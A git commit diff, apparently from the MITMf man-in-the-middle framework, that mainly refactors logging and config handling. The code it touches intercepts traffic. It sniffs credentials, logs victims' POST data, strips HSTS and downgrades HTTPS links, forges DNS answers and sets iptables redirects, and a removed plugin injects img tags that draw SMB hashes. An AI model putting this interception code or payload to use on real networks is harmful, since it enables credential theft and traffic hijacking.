Revamped logging , plugins will be re-added later once refactored

This commit is contained in:
byt3bl33d3r 2015-07-14 17:40:19 +02:00
parent fb0e8a3762
commit ff0ada2a39
34 changed files with 351 additions and 2352 deletions

View file

@ -1,46 +1,48 @@
#! /usr/bin/env python2.7
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
from mitmflib.watchdog.observers import Observer
from mitmflib.watchdog.events import FileSystemEventHandler
from configobj import ConfigObj
logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
mitmf_logger = logging.getLogger('mitmf')
log = logging.getLogger('mitmf')
class ConfigWatcher(FileSystemEventHandler):
_instance = None
config = ConfigObj("./config/mitmf.conf")
@property
def config(self):
return ConfigObj("./config/mitmf.conf")
@staticmethod
def getInstance():
if ConfigWatcher._instance is None:
ConfigWatcher._instance = ConfigWatcher()
def on_modified(self, event):
log.debug("[{}] Detected configuration changes, reloading!".format(self.name))
self.on_config_change()
return ConfigWatcher._instance
def startConfigWatch(self):
def start_config_watch(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
def getConfig(self):
return self.config
def on_modified(self, event):
mitmf_logger.debug("[{}] Detected configuration changes, reloading!".format(self.__class__.__name__))
self.reloadConfig()
self.onConfigChange()
def onConfigChange(self):
def on_config_change(self):
""" We can subclass this function to do stuff after the config file has been modified"""
pass
def reloadConfig(self):
try:
self.config = ConfigObj("./config/mitmf.conf")
except Exception as e:
mitmf_logger.error("Error reloading config file: {}".format(e))
pass

View file

@ -1,4 +1,5 @@
#!/usr/bin/env python2.7
#! /usr/bin/env python2.7
# -*- coding: utf-8 -*-
# Copyright (c) 2014-2016 Marcello Salvati
#
@ -18,24 +19,28 @@
# USA
#
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.Inject import Inject
import logging
import sys
class SMBAuth(Inject, Plugin):
name = "SMBAuth"
optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts"
version = "0.1"
has_opts = False
def initialize(self, options):
self.target_ip = SystemConfig.getIP(options.interface)
class logger:
Inject.initialize(self, options)
self.html_payload = self._get_data()
log_level = None
__shared_state = {}
def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\
'<img src=\"file://///%s\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.target_ip]*3)
def __init__(self):
self.__dict__ = self.__shared_state
def setup_logger(self, name, formatter, logfile='./logs/mitmf.log'):
fileHandler = logging.FileHandler(logfile)
fileHandler.setFormatter(formatter)
streamHandler = logging.StreamHandler(sys.stdout)
streamHandler.setFormatter(formatter)
logger = logging.getLogger(name)
logger.propagate = False
logger.addHandler(streamHandler)
logger.addHandler(fileHandler)
logger.setLevel(self.log_level)
return logger

View file

@ -20,7 +20,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb=0
mitmf_logger = logging.getLogger('mitmf')
log = logging.getLogger('mitmf')
DN = open(devnull, 'w')
pkt_frag_loads = OrderedDict()
@ -47,13 +47,11 @@ class NetCreds:
version = "1.0"
def sniffer(self, myip, interface):
#set the filter to our ip to prevent capturing traffic coming/going from our box
sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(myip), store=0)
#sniff(iface=interface, prn=pkt_parser, store=0)
def sniffer(self, interface):
sniff(iface=interface, prn=pkt_parser, store=0)
def start(self, myip, interface):
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, myip,))
def start(self, interface):
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,))
t.setDaemon(True)
t.start()
@ -903,7 +901,7 @@ def printer(src_ip_port, dst_ip_port, msg):
print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg)
# All credentials will have dst_ip_port, URLs will not
mitmf_logger.info("[NetCreds] {}".format(print_str))
log.info("[NetCreds] {}".format(print_str))
else:
print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg)
mitmf_logger.info("[NetCreds] {}".format(print_str))
log.info("[NetCreds] {}".format(print_str))

View file

@ -21,7 +21,7 @@ import logging
import inspect
import traceback
mitmf_logger = logging.getLogger("mitmf")
log = logging.getLogger('mitmf')
class ProxyPlugins:
'''
@ -44,11 +44,11 @@ class ProxyPlugins:
_instance = None
plist = []
mthdDict = {"connectionMade": "clientRequest",
"handleStatus": "serverResponseStatus",
"handleResponse": "serverResponse",
"handleHeader": "serverHeaders",
"handleEndHeaders":"serverHeaders"}
mthdDict = {"connectionMade" : "request",
"handleStatus" : "responsestatus",
"handleResponse" : "response",
"handleHeader" : "responseheaders",
"handleEndHeaders": "responseheaders"}
pmthds = {}
@ -65,12 +65,12 @@ class ProxyPlugins:
for p in plugins:
self.addPlugin(p)
mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
log.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
def addPlugin(self,p):
'''Load a plugin'''
self.plist.append(p)
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
log.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
for mthd,pmthd in self.mthdDict.iteritems():
try:
self.pmthds[mthd].append(getattr(p,pmthd))
@ -80,7 +80,7 @@ class ProxyPlugins:
def removePlugin(self,p):
'''Unload a plugin'''
self.plist.remove(p)
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
log.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
for mthd,pmthd in self.mthdDict.iteritems():
self.pmthds[mthd].remove(p)
@ -105,7 +105,7 @@ class ProxyPlugins:
del args['self']
mitmf_logger.debug("[ProxyPlugins] hooking {}()".format(fname))
log.debug("[ProxyPlugins] hooking {}()".format(fname))
#calls any plugin that has this hook
try:
for f in self.pmthds[fname]:
@ -115,7 +115,7 @@ class ProxyPlugins:
pass
except Exception as e:
#This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating)
mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function")
log.error("[ProxyPlugins] Exception occurred in hooked function")
traceback.print_exc()
#pass our changes to the locals back down

View file

@ -46,11 +46,7 @@ from core.utils import shutdown
from mitmflib.dnslib import *
from IPy import IP
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
dnschef_logger = logging.getLogger('dnschef')
fileHandler = logging.FileHandler("./logs/dnschef/dnschef.log")
fileHandler.setFormatter(formatter)
dnschef_logger.addHandler(fileHandler)
log = logging.getLogger('mitmf')
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and
# calculate an appropriate response based on user parameters.
@ -70,8 +66,8 @@ class DNSHandler():
# Parse data as DNS
d = DNSRecord.parse(data)
except Exception, e:
dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0]))
except Exception as e:
log.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0]))
else:
# Only Process DNS Queries
@ -115,7 +111,7 @@ class DNSHandler():
# Create a custom response to the query
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
log.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
# IPv6 needs additional work before inclusion:
if qtype == "AAAA":
@ -184,7 +180,7 @@ class DNSHandler():
response = response.pack()
elif qtype == "*" and not None in fake_records.values():
dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
log.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
@ -259,7 +255,7 @@ class DNSHandler():
# Proxy the request
else:
dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
log.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
nameserver_tuple = random.choice(nameservers).split('#')
response = self.proxyrequest(data, *nameserver_tuple)
@ -339,13 +335,13 @@ class DNSHandler():
sock.close()
except Exception, e:
dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e))
log.warning("[DNSChef] Could not proxy request: {}".format(e))
else:
return reply
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
log.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
@ -435,7 +431,7 @@ class DNSChef(ConfigWatcher):
return DNSChef._instance
def onConfigChange(self):
def on_config_change(self):
config = self.config['MITMf']['DNS']
self.port = int(config['port'])
@ -472,8 +468,8 @@ class DNSChef(ConfigWatcher):
self.hsts = True
def start(self):
self.onConfigChange()
self.startConfigWatch()
self.on_config_change()
self.start_config_watch()
try:
if self.config['MITMf']['DNS']['tcp'].lower() == 'on':

View file

@ -9,15 +9,16 @@ from core.servers.smb.KarmaSMB import KarmaSMBServer
from core.configwatcher import ConfigWatcher
from core.utils import shutdown
#Logging is something I'm going to have to clean up in the future
class SMBserver(ConfigWatcher):
_instance = None
impacket_ver = version.VER_MINOR
server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower()
smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"]
smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"])
_instance = None
def __init__(self):
self.impacket_ver = version.VER_MINOR
self.server_type = self.config["MITMf"]["SMB"]["type"].lower()
self.smbchallenge = self.config["MITMf"]["SMB"]["Challenge"]
self.smb_port = int(self.config["MITMf"]["SMB"]["port"])
@staticmethod
def getInstance():

View file

@ -40,7 +40,7 @@ from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner
from DnsCache import DnsCache
mitmf_logger = logging.getLogger('mitmf')
log = logging.getLogger('mitmf')
class ClientRequest(Request):
@ -74,24 +74,23 @@ class ClientRequest(Request):
dregex = re.compile("({})".format("|".join(map(re.escape, real.keys()))))
headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
if 'if-none-match' in headers:
del headers['if-none-match']
if 'host' in headers:
host = self.urlMonitor.URLgetRealHost(str(headers['host']))
mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host))
log.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host))
headers['host'] = host
self.setHeader('Host', host)
if 'accept-encoding' in headers:
del headers['accept-encoding']
mitmf_logger.debug("[ClientRequest] Zapped encoding")
log.debug("[ClientRequest] Zapped encoding")
if 'if-none-match' in headers:
del headers['if-none-match']
if 'if-modified-since' in headers:
del headers['if-modified-since']
if 'cache-control' in headers:
del headers['cache-control']
headers['pragma'] = 'no-cache'
return headers
@ -110,11 +109,11 @@ class ClientRequest(Request):
if os.path.exists(scriptPath): return scriptPath
mitmf_logger.warning("[ClientRequest] Error: Could not find lock.ico")
log.warning("[ClientRequest] Error: Could not find lock.ico")
return "lock.ico"
def handleHostResolvedSuccess(self, address):
mitmf_logger.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
host = self.getHeader("host")
headers = self.cleanHeaders()
client = self.getClientIP()
@ -152,22 +151,22 @@ class ClientRequest(Request):
self.dnsCache.cacheResolution(hostparts[0], address)
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
mitmf_logger.debug("[ClientRequest] Sending expired cookies")
log.debug("[ClientRequest] Sending expired cookies")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
elif (self.urlMonitor.isSecureFavicon(client, path)):
mitmf_logger.debug("[ClientRequest] Sending spoofed favicon response")
log.debug("[ClientRequest] Sending spoofed favicon response")
self.sendSpoofedFaviconResponse()
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers:
del headers['securelink']
mitmf_logger.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else:
mitmf_logger.debug("[ClientRequest] Sending request via HTTP")
log.debug("[ClientRequest] Sending request via HTTP")
#self.proxyViaHTTP(address, self.method, path, postData, headers)
port = 80
if len(hostparts) > 1:
@ -176,7 +175,7 @@ class ClientRequest(Request):
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
def handleHostResolvedError(self, error):
mitmf_logger.debug("[ClientRequest] Host resolution error: {}".format(error))
log.debug("[ClientRequest] Host resolution error: {}".format(error))
try:
self.finish()
except:
@ -186,23 +185,23 @@ class ClientRequest(Request):
address = self.dnsCache.getCachedAddress(host)
if address != None:
mitmf_logger.debug("[ClientRequest] Host cached: {} {}".format(host, address))
log.debug("[ClientRequest] Host cached: {} {}".format(host, address))
return defer.succeed(address)
else:
mitmf_logger.debug("[ClientRequest] Host not cached.")
log.debug("[ClientRequest] Host not cached.")
self.customResolver.port = self.urlMonitor.getResolverPort()
try:
mitmf_logger.debug("[ClientRequest] Resolving with DNSChef")
log.debug("[ClientRequest] Resolving with DNSChef")
address = str(self.customResolver.query(host)[0].address)
return defer.succeed(address)
except Exception:
mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted")
log.debug("[ClientRequest] Exception occured, falling back to Twisted")
return reactor.resolve(host)
def process(self):
mitmf_logger.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
host = self.getHeader('host').split(":")[0]
if self.hsts:

View file

@ -18,7 +18,7 @@
import logging
mitmf_logger = logging.getLogger('mitmf')
log = logging.getLogger('mitmf')
class DnsCache:
@ -51,7 +51,7 @@ class DnsCache:
def setCustomRes(self, host, ip_address=None):
if ip_address is not None:
self.cache[host] = ip_address
mitmf_logger.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address))
log.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address))
else:
if self.customAddress is not None:
self.cache[host] = self.customAddress

View file

@ -23,7 +23,7 @@ import string
from ServerConnection import ServerConnection
from URLMonitor import URLMonitor
mitmf_logger = logging.getLogger('mitmf')
log = logging.getLogger('mitmf')
class SSLServerConnection(ServerConnection):
@ -59,11 +59,11 @@ class SSLServerConnection(ServerConnection):
for v in values:
if v[:7].lower()==' domain':
dominio=v.split("=")[1]
mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
log.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
real = self.urlMonitor.real
if dominio in real:
v=" Domain=%s"%real[dominio]
mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
log.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
newvalues.append(v)
value = ';'.join(newvalues)
@ -87,13 +87,13 @@ class SSLServerConnection(ServerConnection):
if ((not link.startswith('http')) and (not link.startswith('/'))):
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
mitmf_logger.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
mitmf_logger.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
elif not link.startswith('http'):
absoluteLink = "http://"+self.headers['host']+link
mitmf_logger.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
mitmf_logger.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
if not absoluteLink == "":
absoluteLink = absoluteLink.replace('&amp;', '&')

View file

@ -16,11 +16,11 @@
# USA
#
import logging
import logging
import re
import string
import random
import zlib
import random
import zlib
import gzip
import StringIO
import sys
@ -29,8 +29,10 @@ from mitmflib.user_agents import parse
from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.logger import logger
mitmf_logger = logging.getLogger('mitmf')
formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ServerConnection", formatter)
class ServerConnection(HTTPClient):
@ -56,7 +58,7 @@ class ServerConnection(HTTPClient):
self.headers = headers
self.client = client
self.printPostData = True
self.clientInfo = None
self.clientInfo = {}
self.urlMonitor = URLMonitor.getInstance()
self.hsts = URLMonitor.getInstance().hsts
self.app = URLMonitor.getInstance().app
@ -66,27 +68,18 @@ class ServerConnection(HTTPClient):
self.contentLength = None
self.shutdownComplete = False
def getPostPrefix(self):
return "POST"
def sendRequest(self):
if self.command == 'GET':
try:
user_agent = parse(self.headers['user-agent'])
self.clientInfo = (user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
mitmf_logger.info("{} [type:{}-{} os:{}] {}".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family, self.headers['host']))
except Exception as e:
mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e))
mitmf_logger.info("{} Sending request: {}".format(self.client.getClientIP(), self.headers['host']))
pass
mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
log.info(self.headers['host'], extra=self.clientInfo)
log.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
self.sendCommand(self.command, self.uri)
def sendHeaders(self):
for header, value in self.headers.iteritems():
mitmf_logger.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
self.sendHeader(header, value)
self.endHeaders()
@ -96,17 +89,26 @@ class ServerConnection(HTTPClient):
try:
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
if len(postdata) > 0:
mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata))
log.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo)
except Exception as e:
if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message:
mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host']))
pass
log.debug("[ServerConnection] {} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host']))
self.printPostData = True
self.transport.write(self.postData)
def connectionMade(self):
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
log.debug("[ServerConnection] HTTP connection made.")
user_agent = parse(self.headers['user-agent'])
self.clientInfo["clientip"] = self.client.getClientIP()
self.clientInfo["clientos"] = user_agent.os.family
self.clientInfo["browser"] = user_agent.browser.family
try:
self.clientInfo["browserv"] = user_agent.browser.version[0]
except IndexError:
self.clientInfo["browserv"] = "Other"
self.plugins.hook()
self.sendRequest()
@ -123,7 +125,7 @@ class ServerConnection(HTTPClient):
code = values['code']
message = values['message']
mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value):
@ -135,18 +137,15 @@ class ServerConnection(HTTPClient):
if (key.lower() == 'content-type'):
if (value.find('image') != -1):
self.isImageRequest = True
mitmf_logger.debug("[ServerConnection] Response is image content, not scanning")
log.debug("[ServerConnection] Response is image content, not scanning")
if (key.lower() == 'content-encoding'):
if (value.find('gzip') != -1):
mitmf_logger.debug("[ServerConnection] Response is compressed")
log.debug("[ServerConnection] Response is compressed")
self.isCompressed = True
elif (key.lower()== 'strict-transport-security'):
if self.clientInfo is not None:
mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2]))
else:
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP()))
log.info("Zapped a strict-trasport-security header", extra=self.clientInfo)
elif (key.lower() == 'content-length'):
self.contentLength = value
@ -161,14 +160,17 @@ class ServerConnection(HTTPClient):
if (self.isImageRequest and self.contentLength != None):
self.client.setHeader("Content-Length", self.contentLength)
self.client.setHeader("Expires", "0")
self.client.setHeader("Cache-Control", "No-Cache")
if self.length == 0:
self.shutdown()
self.plugins.hook()
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
for header, value in self.client.headers.iteritems():
mitmf_logger.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
def handleResponsePart(self, data):
if (self.isImageRequest):
@ -180,20 +182,21 @@ class ServerConnection(HTTPClient):
if (self.isImageRequest):
self.shutdown()
else:
#Gets rid of some generic errors
try:
HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors
HTTPClient.handleResponseEnd(self)
except:
pass
def handleResponse(self, data):
if (self.isCompressed):
mitmf_logger.debug("[ServerConnection] Decompressing content...")
log.debug("[ServerConnection] Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
data = self.replaceSecureLinks(data)
data = self.plugins.hook()['data']
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))
@ -206,7 +209,7 @@ class ServerConnection(HTTPClient):
try:
self.shutdown()
except:
mitmf_logger.info("[ServerConnection] Client connection dropped before request finished.")
log.info("[ServerConnection] Client connection dropped before request finished.")
def replaceSecureLinks(self, data):
if self.hsts:
@ -214,7 +217,7 @@ class ServerConnection(HTTPClient):
sustitucion = {}
patchDict = self.urlMonitor.patchDict
if len(patchDict)>0:
if patchDict:
dregex = re.compile("({})".format("|".join(map(re.escape, patchDict.keys()))))
data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data)
@ -222,12 +225,12 @@ class ServerConnection(HTTPClient):
for match in iterator:
url = match.group()
mitmf_logger.debug("[ServerConnection][HSTS] Found secure reference: " + url)
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
log.debug("[ServerConnection][HSTS] Found secure reference: " + url)
nuevaurl=self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url)
log.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
sustitucion[url] = nuevaurl
if len(sustitucion)>0:
if sustitucion:
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
@ -240,11 +243,11 @@ class ServerConnection(HTTPClient):
for match in iterator:
url = match.group()
mitmf_logger.debug("[ServerConnection] Found secure reference: " + url)
log.debug("[ServerConnection] Found secure reference: " + url)
url = url.replace('https://', 'http://', 1)
url = url.replace('&amp;', '&')
self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url)
data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
return re.sub(ServerConnection.urlType, 'http://', data)

View file

@ -17,9 +17,10 @@
#
import logging
from twisted.internet.protocol import ClientFactory
mitmf_logger = logging.getLogger('mimtf')
log = logging.getLogger('mitmf')
class ServerConnectionFactory(ClientFactory):
@ -34,12 +35,12 @@ class ServerConnectionFactory(ClientFactory):
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
def clientConnectionFailed(self, connector, reason):
mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.")
log.debug("[ServerConnectionFactory] Server connection failed.")
destination = connector.getDestination()
if (destination.port != 443):
mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL")
log.debug("[ServerConnectionFactory] Retrying via SSL")
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
else:
try:

View file

@ -18,9 +18,10 @@
import re, os
import logging
from core.configwatcher import ConfigWatcher
mitmf_logger = logging.getLogger('mimtf')
log = logging.getLogger('mitmf')
class URLMonitor:
@ -57,7 +58,7 @@ class URLMonitor:
#This is here because I'm lazy
def getResolverPort(self):
return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port'])
return int(ConfigWatcher().config['MITMf']['DNS']['port'])
def isSecureLink(self, client, url):
for expression in URLMonitor.javascriptTrickery:
@ -78,7 +79,7 @@ class URLMonitor:
s.add(to_url)
return
url_set = set([from_url, to_url])
mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set))
log.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set))
self.redirects.append(url_set)
def getRedirectionSet(self, url):
@ -119,7 +120,7 @@ class URLMonitor:
else:
self.sustitucion[host] = "web"+host
self.real["web"+host] = host
mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
log.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
url = 'http://' + host + path
@ -155,14 +156,14 @@ class URLMonitor:
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
def URLgetRealHost(self, host):
mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
log.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
self.updateHstsConfig()
if self.real.has_key(host):
mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host]))
log.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host]))
return self.real[host]
else:
mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))
log.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))
return host

View file

@ -25,22 +25,23 @@ import logging
import re
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr, get_if_hwaddr
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger('mitmf')
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr, get_if_hwaddr
log = logging.getLogger('mitmf')
def shutdown(message=None):
for plugin in ProxyPlugins.getInstance().plist:
plugin.finish()
plugin.on_shutdown()
sys.exit(message)
class SystemConfig:
@staticmethod
def setIpForwarding(value):
mitmf_logger.debug("[Utils] Setting ip forwarding to {}".format(value))
log.debug("[Utils] Setting ip forwarding to {}".format(value))
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
file.write(str(value))
file.close()
@ -53,7 +54,7 @@ class SystemConfig:
shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface))
return ip_address
except Exception, e:
except Exception as e:
shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
@staticmethod
@ -81,23 +82,23 @@ class IpTables:
return IpTables._instance
def Flush(self):
mitmf_logger.debug("[Utils] Flushing iptables")
log.debug("[Utils] Flushing iptables")
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
self.dns = False
self.http = False
def HTTP(self, http_redir_port):
mitmf_logger.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
log.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port))
self.http = True
def DNS(self, dns_redir_port):
mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
log.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port))
self.dns = True
def SMB(self, smb_redir_port):
mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
log.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
self.smb = True
@ -163,6 +164,6 @@ class Banners:
"""
def printBanner(self):
def get_banner(self):
banners = [self.banner1, self.banner2, self.banner3, self.banner4, self.banner5]
print random.choice(banners)
return random.choice(banners)

@ -1 +1 @@
Subproject commit 0bd3429e6775395c3522046ab21193a36ab2e0fe
Subproject commit 6fcff6bdb511ca306ec9ad29872342086714dd1d

158
mitmf.py
View file

